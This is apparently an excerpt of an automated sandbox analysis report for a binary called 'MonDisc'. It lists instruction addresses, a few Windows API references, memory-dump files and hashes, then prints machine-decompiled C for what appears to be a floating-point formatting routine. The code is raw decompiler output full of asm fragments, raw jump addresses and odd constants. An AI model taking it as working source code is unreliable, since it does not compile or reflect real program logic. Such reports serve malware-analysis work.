0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

GetParent.USER32 ref: 00007FF6ED0F9012
IsIconic.USER32 ref: 00007FF6ED0F901A
GetMessageExtraInfo.USER32 ref: 00007FF6ED0F9065
GetWindowTextLengthW.USER32 ref: 00007FF6ED0F90B8

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ExtraIconicInfoLengthMessageParentTextWindow
String ID:
API String ID: 2293158828-0
Opcode ID: 58704173757dc4f331a19e9cb3568275fbcde7f231e9f3382646aca2a6a34e48
Instruction ID: 4a2a15a44b73bd96b2a3d24d7cae2d95fdfb5792327a74ea67bbbfdf2360965b
Opcode Fuzzy Hash: 58704173757dc4f331a19e9cb3568275fbcde7f231e9f3382646aca2a6a34e48
Instruction Fuzzy Hash: 69E14B5BE289034AF6549F34AD5A3BE61967F24214F38063AD10AD36D7FE3EF149810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED136240 Relevance: 11.3, Strings: 8, Instructions: 1313
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00007FF67FF6ED136240(unsigned int __edx, long long __rcx, long long __rdi, long long __r9, long long __r12, long long __r13) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed int _t443;
				unsigned int _t452;
				signed int _t467;
				signed int _t472;
				signed int _t481;
				signed int _t483;
				void* _t484;
				void* _t487;
				signed int _t570;
				signed int _t572;
				signed int _t582;
				signed int _t586;
				signed int _t616;
				signed int _t652;
				signed int _t656;
				void* _t660;
				void* _t661;
				void* _t662;
				void* _t665;
				unsigned int _t667;
				signed int _t670;
				signed int _t676;
				signed int _t679;
				signed int _t681;
				unsigned int _t689;
				signed int _t690;
				signed char _t693;
				signed int _t695;
				signed int _t742;
				signed int _t745;
				signed int _t751;
				signed int _t754;
				signed int _t761;
				signed int _t764;
				signed int _t775;
				signed int _t778;
				signed int _t784;
				signed int _t787;
				signed int _t815;
				intOrPtr _t831;
				intOrPtr _t841;
				signed int _t847;
				signed int _t854;
				intOrPtr _t876;
				signed int _t882;
				signed int _t909;
				void* _t910;
				signed int _t911;
				signed int _t913;
				void* _t915;
				signed int _t916;
				signed int _t917;
				void* _t918;
				signed int _t920;
				signed int _t921;
				signed int _t923;
				signed int _t925;
				signed int _t927;
				signed int _t929;
				signed int _t931;
				signed int _t933;
				signed int _t935;
				signed int _t937;
				void* _t939;
				unsigned int _t942;
				void* _t946;
				void* _t947;
				signed int _t948;
				unsigned int _t949;
				signed int _t952;
				void* _t962;
				void* _t963;
				void* _t966;
				void* _t971;
				void* _t972;
				void* _t994;
				void* _t1013;
				signed int _t1014;
				void* _t1015;
				void* _t1019;
				void* _t1020;
				void* _t1023;
				void* _t1055;
				void* _t1056;
				void* _t1059;
				signed int _t1060;
				signed long long _t1074;
				signed long long _t1077;
				unsigned long long _t1081;
				signed long long _t1083;
				signed long long _t1086;
				signed long long _t1087;
				signed long long _t1090;
				signed long long _t1091;
				signed long long _t1099;
				unsigned long long _t1100;
				signed long long _t1102;
				intOrPtr* _t1108;
				char* _t1111;
				unsigned long long _t1115;
				signed long long _t1118;
				signed long long _t1121;
				signed long long _t1122;
				intOrPtr* _t1124;
				char* _t1133;
				signed long long _t1134;
				signed long long _t1141;
				signed long long _t1155;
				signed long long _t1161;
				void* _t1163;
				void* _t1164;
				void* _t1165;
				signed long long _t1166;
				char* _t1169;
				char* _t1170;
				signed int* _t1172;
				signed int* _t1177;
				signed int* _t1181;
				signed long long _t1185;
				void* _t1186;
				void* _t1189;
				intOrPtr _t1193;
				intOrPtr* _t1194;
				char* _t1195;
				intOrPtr _t1197;
				char* _t1198;
				char* _t1199;
				void* _t1200;
				signed long long _t1201;
				signed long long _t1202;
				intOrPtr _t1208;
				signed int* _t1209;
				signed int* _t1210;
				signed int* _t1211;
				signed long long _t1218;
				void* _t1231;
				void* _t1232;
				signed int* _t1237;
				signed long long _t1238;
				void* _t1245;
				void* _t1246;
				void* _t1251;

				_t1189 = _t1165;
				_t1164 = _t1189 - 0xe8;
				_t1166 = _t1165 - 0x1c0;
				_t1074 =  *0xed2361d8; // 0x3623d5dd24d9
				 *(_t1164 + 0x80) = _t1074 ^ _t1166;
				 *((long long*)(_t1189 - 0x30)) = __rdi;
				 *((long long*)(_t1189 - 0x38)) = __r12;
				_t1168 = __rcx;
				 *((long long*)(_t1189 - 0x40)) = __r13;
				asm("inc ecx");
				asm("movaps xmm6, xmm2");
				r11d = __edx;
				 *(_t1166 + 0x38) = __edx;
				 *((long long*)(_t1166 + 0x60)) = __rcx;
				asm("movsd [esp+0x30], xmm2");
				_t923 = __edx >> 0x00000010 & 0x000000ff;
				 *((long long*)(_t1164 + 0x70)) = __r9;
				_t1155 =  *(_t1166 + 0x30) >> 0x20;
				asm("btr ecx, 0x1f");
				_t939 = __edx - 0x7ff00000;
				if (_t939 < 0) goto 0xed1363c9;
				r15d = 0;
				r13d = r15d;
				if (_t939 == 0) goto 0xed1362fe;
				r13d = r11d;
				_t665 =  !=  ? 0x4e414e : 0x6e616e;
				r13d = r13d >> 6;
				r13d = r13d & 0x00000020;
				goto 0xed136335;
				_t667 =  !=  ? 0x494e46 : 0x696e66;
				_t942 = __edx;
				if (_t942 >= 0) goto 0xed136319;
				r13d = 0x2d;
				goto 0xed136335;
				asm("inc ecx");
				if (_t942 >= 0) goto 0xed136328;
				r13d = 0x2b;
				goto 0xed136335;
				asm("inc ecx");
				if (_t942 >= 0) goto 0xed136335;
				r13d = 0x20;
				r15b = r13d != 0;
				r15d = r15d + 3;
				if (__r9 != 0) goto 0xed13636e;
				_t11 = _t1168 + 8; // 0x48d38b486824748b
				_t797 =  >  ? _t923 : r15d;
				_t946 = ( >  ? _t923 : r15d) -  *_t11 -  *((intOrPtr*)(__rcx));
				if (_t946 <= 0) goto 0xed13636b;
				0xed135670();
				r11d =  *(_t1166 + 0x38);
				goto 0xed13636e;
				_t1193 =  *((intOrPtr*)(__rcx));
				asm("inc ecx");
				if (_t946 < 0) goto 0xed13639b;
				_t947 = _t923 - r15d;
				if (_t947 <= 0) goto 0xed136399;
				_t443 = _t923 - r15d;
				r8d = _t443;
				E00007FF67FF6ED174DE0(_t443, 0x20, _t1193, _t1155, __rcx);
				_t1194 = _t1193 + __rdi;
				_t1161 = __rdi - 1;
				if (_t947 != 0) goto 0xed136391;
				_t925 = _t923;
				_t948 = r13d;
				if (_t948 == 0) goto 0xed1363a7;
				 *_t1194 = r13b;
				_t1195 = _t1194 + 1;
				 *_t1195 = 0x696e66 >> 0x10;
				 *((char*)(_t1195 + 1)) = _t667 >> 8;
				 *(_t1195 + 2) = _t667;
				goto 0xed1373dc;
				_t689 =  *(_t1166 + 0x34);
				if (_t948 != 0) goto 0xed1366d3;
				asm("inc ecx");
				_t1077 = "0123456789ABCDEFPX";
				_t1218 =  <  ? _t1077 : "0123456789abcdefpx";
				 *(_t1166 + 0x50) = _t1218;
				_t949 = _t689;
				if (_t949 >= 0) goto 0xed13640b;
				r9b = 0x2d;
				goto 0xed13642a;
				asm("inc ecx");
				if (_t949 >= 0) goto 0xed136417;
				r9b = 0x2b;
				goto 0xed13642a;
				asm("inc ecx");
				r9d = 0;
				r13d = 0x20;
				r9d =  <  ? r13d : r9d;
				r8d =  *(_t1166 + 0x30);
				_t690 = _t689 & 0x000fffff;
				 *(_t1166 + 0x40) = r9d;
				 *(_t1166 + 0x34) = _t690;
				if ((_t689 >> 0x00000014 & 0x000007ff) == 0) goto 0xed13646e;
				asm("bts ecx, 0x14");
				 *(_t1166 + 0x34) = _t690;
				if (_t443 >= 0) goto 0xed1364c3;
				_t952 = r8d;
				if (_t952 == 0) goto 0xed1364b0;
				asm("inc ecx");
				goto 0xed1364e6;
				_t452 = _t690 | r8d;
				if (_t952 == 0) goto 0xed136450;
				if (_t690 == 0) goto 0xed136483;
				asm("bsr eax, ecx");
				goto 0xed13648c;
				asm("inc ecx");
				_t693 = 0x34 - _t452;
				_t1099 =  *(_t1166 + 0x30) << _t693;
				 *(_t1166 + 0x30) = _t1099;
				r8d =  *(_t1166 + 0x30);
				goto 0xed136455;
				asm("bts ecx, 0x14");
				asm("bsf eax, ecx");
				goto 0xed1364e6;
				if (5 - 0xd >= 0) goto 0xed1364e6;
				_t695 = 0x33 - _t1161 * 4;
				_t1100 = _t1099 + (_t1077 << _t695);
				 *(_t1166 + 0x30) = _t1100;
				r10d = 0xfffffc02;
				r13d = 0x2b;
				_t457 =  >=  ? r13d : 0x2d;
				r8d = r11d;
				r10d =  ~r10d;
				 *(_t1166 + 0x48) =  >=  ? r13d : 0x2d;
				r10d =  >=  ? 0xfffffc02 - _t693 : r10d;
				r15d = 0;
				r8d = r8d & 0x00001000;
				 *(_t1166 + 0x3c) = r10d;
				r8d = r8d | 0x00000005;
				 *(_t1166 + 0x44) = r8d;
				asm("bsr ecx, eax");
				r15b = r9b != 0;
				r15d = r15d + 5;
				r15d = r15d + (r15d & 0xffffff00 | r8d != 0x00000000) + (_t695 * 0x4d >> 8) + 1 + (r15d & 0xffffff00 | r10d -  *((intOrPtr*)(0x7ff6ed0f0000 + 0x146198 + _t1155 * 4)) > 0x00000000);
				r15d = r15d + 5;
				if (_t1195 != 0) goto 0xed136593;
				_t1108 =  *((intOrPtr*)(_t1166 + 0x60));
				_t811 =  >  ? _t925 : r15d;
				_t962 = ( >  ? _t925 : r15d) -  *((intOrPtr*)(_t1108 + 8)) -  *_t1108;
				if (_t962 <= 0) goto 0xed136590;
				0xed135670();
				r11d =  *(_t1166 + 0x38);
				goto 0xed136593;
				_t1197 =  *_t1108;
				r13d = r11d;
				r13d = r13d & 0x00000500;
				if (_t962 != 0) goto 0xed1365cf;
				_t963 = _t925 - r15d;
				if (_t963 <= 0) goto 0xed1365cd;
				_t467 = _t925 - r15d;
				r8d = _t467;
				r14d = _t467;
				E00007FF67FF6ED174DE0(_t467, 0x20, _t1197, _t1155, __rcx);
				_t1198 = _t1197 + _t1218;
				if (_t963 != 0) goto 0xed1365c0;
				_t927 = _t925;
				if (0 == 0) goto 0xed1365de;
				 *_t1198 = 0;
				_t1199 = _t1198 + 1;
				 *_t1199 = 0x30;
				 *((char*)(_t1199 + 1)) = 0;
				_t1200 = _t1199 + 2;
				if (r13d != 0x400) goto 0xed136626;
				_t966 = _t927 - r15d;
				if (_t966 <= 0) goto 0xed136624;
				_t472 = _t927 - r15d;
				r8d = _t472;
				r14d = _t472;
				E00007FF67FF6ED174DE0(_t472, 0x30, _t1200, _t1155, __rcx);
				_t1201 = _t1200 +  *(_t1166 + 0x50);
				if (_t966 != 0) goto 0xed136617;
				_t929 = _t927;
				_t48 = _t1201 + 1; // -1
				_t1169 = _t48;
				 *_t1201 = 0x30;
				if ( *(_t1166 + 0x44) == 0) goto 0xed1366ae;
				 *_t1169 = 0x2e;
				_t50 = _t1161 + 1; // 0xf000035
				_t1185 = _t50;
				if (5 - 0xd >= 0) goto 0xed13665b;
				goto 0xed13667f;
				if (5 - 0xd <= 0) goto 0xed136683;
				_t1111 = _t1161 + _t1169;
				 *_t1111 = 0x30;
				if (5 != 0xd) goto 0xed136670;
				if (5 == 0) goto 0xed1366ab;
				_t1102 = _t1100 >> 8 << 2 >> 4;
				 *((char*)(_t1111 - 1 + _t1169 - 1 + 1)) = 0x30;
				if (5 != 0) goto 0xed136690;
				_t1170 = _t1169 + _t1185;
				_t58 = _t1170 + 2; // 0x1
				_t1115 = _t58;
				_t815 =  *(_t1166 + 0x3c);
				 *_t1170 = 0x30;
				 *((char*)(_t1170 + 1)) = 0x30;
				_t481 = E00007FF67FF6ED11ACF0(_t815, _t1115);
				goto 0xed1373dc;
				r15d = 0;
				 *(_t1166 + 0x44) = 5;
				r14d = 5;
				 *(_t1166 + 0x48) = r15d;
				r14d = r14d >> 0x14;
				r8b = 0;
				r14d = r14d & 0x000007ff;
				if (5 >= 0) goto 0xed1366fb;
				 *(_t1166 + 0x40) = 0x2d;
				goto 0xed136721;
				asm("inc ecx");
				if (5 >= 0) goto 0xed136709;
				 *(_t1166 + 0x40) = 0x2b;
				goto 0xed136721;
				asm("inc ecx");
				r8d = r8b & 0xffffffff;
				r13d = 0x20;
				r8d =  <  ? r13d : r8d;
				 *(_t1166 + 0x40) = r8d;
				_t971 = _t815 - 0x30;
				if (_t971 != 0) goto 0xed136739;
				_t909 = 0x00000005 - (_t452 >> 0x00000002) - 0x00000001 + 0x100000004 - 0x00000001 ^ 0x00000005 >> 0x0000001f;
				 *(_t1166 + 0x58) = r11d & 0x00000010;
				if (_t971 == 0) goto 0xed1367ef;
				_t972 = _t909 - 0xe;
				if (_t972 >= 0) goto 0xed1367ef;
				asm("xorps xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t972 != 0) goto 0xed136768;
				if (_t972 == 0) goto 0xed1367ef;
				r9d =  *((short*)(0x7ff6ed0f0000 + 0x11d580 + (_t1115 >> 6) * 2));
				 *(_t1166 + 0x48) = r9d;
				if (r9d == 0) goto 0xed1367ef;
				asm("movaps xmm0, xmm6");
				asm("mulsd xmm0, [edx+ecx*8+0x11d5c0]");
				asm("movsd [esp+0x30], xmm0");
				if (r14d != 0) goto 0xed1367b0;
				asm("mulsd xmm0, [0xd704f]");
				r9d = r9d - 0xa;
				 *(_t1166 + 0x48) = r9d;
				asm("movsd [esp+0x30], xmm0");
				_t1081 =  *(_t1166 + 0x30) + 0xfffffffe;
				 *(_t1166 + 0x30) = _t1081;
				r13d =  *(_t1166 + 0x30);
				r14d = _t481;
				 *(_t1166 + 0x44) =  *(_t1166 + 0x34);
				r14d = r14d >> 0x14;
				r14d = r14d & 0x000007ff;
				r14d = r14d - 0x433;
				asm("bts eax, 0x14");
				goto 0xed13683c;
				_t1083 = _t1081 >> 0x20 >> 0x20;
				r8d = r14d;
				_t483 = _t481 & 0xfffff;
				 *(_t1166 + 0x70) = _t483;
				if (r14d != 0) goto 0xed136809;
				r14d = r14d + 1;
				goto 0xed136813;
				asm("bts ecx, 0x14");
				 *(_t1166 + 0x70) = _t483;
				r13d =  *(_t1166 + 0x30);
				asm("bts edx, 0x14");
				 *(_t1166 + 0x50) = _t1201;
				r14d = r14d - 0x413;
				if (r13d == 0) goto 0xed13687a;
				r14d = r14d - 0x20;
				_t484 =  !=  ? _t483 : _t483;
				 *(_t1166 + 0x20) = r11d;
				r9d = r13d;
				r9d = r9d & 0x1fffffff;
				 *(_t1166 + 0x70) = _t1083 * 0x00000008 | r13d >> 0x0000001d;
				r8d = 0x7ff6ed0f001d;
				_t487 = E00007FF67FF6ED137800(0, _t1083, _t1102, _t1166 + 0x70, 0x7ff6ed0f0000, _t1161, _t1163, _t1189);
				r11d =  *(_t1166 + 0x38);
				 *(_t1166 + 0x50) = _t1201;
				_t1118 = _t1166 + 0x70;
				r8d = r14d;
				if (r14d < 0) goto 0xed13689d;
				r9d = 0;
				 *(_t1166 + 0x20) = r11d;
				_t670 = E00007FF67FF6ED137800(_t487, _t1083, _t1102, _t1118, 0x7ff6ed0f0000, _t1161, _t1163, _t1189);
				r12d = r15d;
				goto 0xed1368ba;
				r8d =  ~r8d;
				r9d = r11d;
				r12d = E00007FF67FF6ED1375E0(_t1083 * 0x00000008 | r13d >> 0x0000001d, _t487, _t1102, _t1118);
				if (_t670 == 0) goto 0xed1368ba;
				if ( *((intOrPtr*)(_t1166 + 0x70 + _t1118 * 4)) != r15d) goto 0xed1368ba;
				if ( *(_t1166 + 0x58) == r15d) goto 0xed136f9e;
				r10d = 0xffffffff;
				if (r12d == 0) goto 0xed1368ef;
				if ( *(_t1166 + 0x70 + _t1083 * 4) != r15d) goto 0xed1368ef;
				if ( *((intOrPtr*)(_t1166 + 0x70 + _t1102 * 4)) == r15d) goto 0xed1368e0;
				r10d = 0xfffffdbf;
				r11d = r15d;
				r8d =  *(_t1166 + 0x70 + _t1083 * 4);
				asm("bsr ecx, eax");
				r11b = r8d -  *0x27FD2A15F6198 > 0;
				r11d = r11d + (_t670 * 0x4d >> 8) + 1;
				 *(_t1166 + 0x30) = r11d;
				r10d = r10d + _t1189 + _t1102 * 8 + 0x40;
				 *(_t1166 + 0x3c) = r10d;
				if ( *(_t1166 + 0x48) == r15d) goto 0xed136a8d;
				if (r13d - 0xfffffffe < 0) goto 0xed136956;
				if (( !( *(_t1166 + 0x44)) & 0x000fffff) == 0) goto 0xed13695b;
				 *(_t1164 - 0xc) = r8d;
				_t1121 = 0x46 + r14d + 0x46 + r14d + 0xed20d6c0;
				r8d =  *((char*)(_t1121 + 1));
				r9d =  *_t1121 & 0x000000ff;
				 *((intOrPtr*)(_t1164 - 0x10)) =  *((intOrPtr*)(_t1166 + 0x1ffdbb4835b70));
				 *((intOrPtr*)(_t1164 - 0x14)) =  *((intOrPtr*)(_t1166 + 0x1ffdbb4835b70));
				if (r8d < 0) goto 0xed1369aa;
				goto 0xed1369bf;
				r8d = r8d - 0x47fae55870000;
				_t1172 =  &((_t1166 + 0x70)[_t1121]);
				if (( *((intOrPtr*)(0x7ff6ed0f0000 + 0x146198 + r8d * 4)) + 1) * r9d +  *_t1172 - 0x3b9aca00 < 0) goto 0xed136a19;
				 *_t1172 = 0x7ff6b1743600;
				if (0x7ff6ed0f0040 == 0x40) goto 0xed136a73;
				_t831 = (_t1166 + 0x70)[_t1121] + 1;
				if (_t831 - 0x3b9aca00 >= 0) goto 0xed1369f0;
				 *((intOrPtr*)(_t1166 + 0x70 + _t1121 * 4)) = _t831;
				_t159 = _t1161 + 1; // 0xf000035
				r9d = r11d;
				_t160 = _t1164 - 0xc; // 0x14
				 *(_t1166 + 0x20) = _t159;
				_t1122 = _t1166 + 0x70;
				if (E00007FF67FF6ED137960(0x40, _t1122, 0x7ff6ed0f0000, _t160, _t1186) != 0) goto 0xed136a83;
				_t1202 =  *((intOrPtr*)(_t1164 + 0x70));
				r11d =  *(_t1166 + 0x38);
				asm("movsd [esp+0x30], xmm6");
				_t1086 =  *(_t1166 + 0x30);
				r14d = r14d >> 0x14;
				r14d = r14d & 0x000007ff;
				 *(_t1166 + 0x48) = r15d;
				 *(_t1166 + 0x44) =  *(_t1166 + 0x34);
				goto 0xed1367ef;
				 *((intOrPtr*)(_t1166 + 0x70 + _t1086 * 4)) = 1;
				goto 0xed136a1d;
				r10d =  *(_t1166 + 0x3c);
				r11d =  *(_t1166 + 0x30);
				_t994 = _t909 - r10d - _t1086 + _t1086 * 8;
				if (_t994 >= 0) goto 0xed136b7e;
				r8d = r10d;
				r8d = r8d - _t909;
				r9d = 0x40;
				r8d = r8d - 1;
				if (_t994 < 0) goto 0xed136acc;
				goto 0xed136ae1;
				r8d = r8d - 0x47fae55870000;
				_t1087 = r8d;
				_t1177 =  &((_t1166 + 0x70)[_t1122]);
				if (_t1087 + _t1087 * 4 +  *_t1177 - 0x3b9aca00 < 0) goto 0xed136b3d;
				 *_t1177 = 0x7ff6b1743600;
				if (0x7ff6ed0f0040 == 0x3f) goto 0xed136bb1;
				_t1178 = _t1166 + 0x70;
				_t841 = (_t1166 + 0x70)[_t1122] + 1;
				if (_t841 - 0x3b9aca00 >= 0) goto 0xed136b10;
				 *((intOrPtr*)(_t1166 + 0x70 + _t1122 * 4)) = _t841;
				r8d =  *(_t1166 + 0x70 + _t1087 * 4);
				asm("bsr ecx, eax");
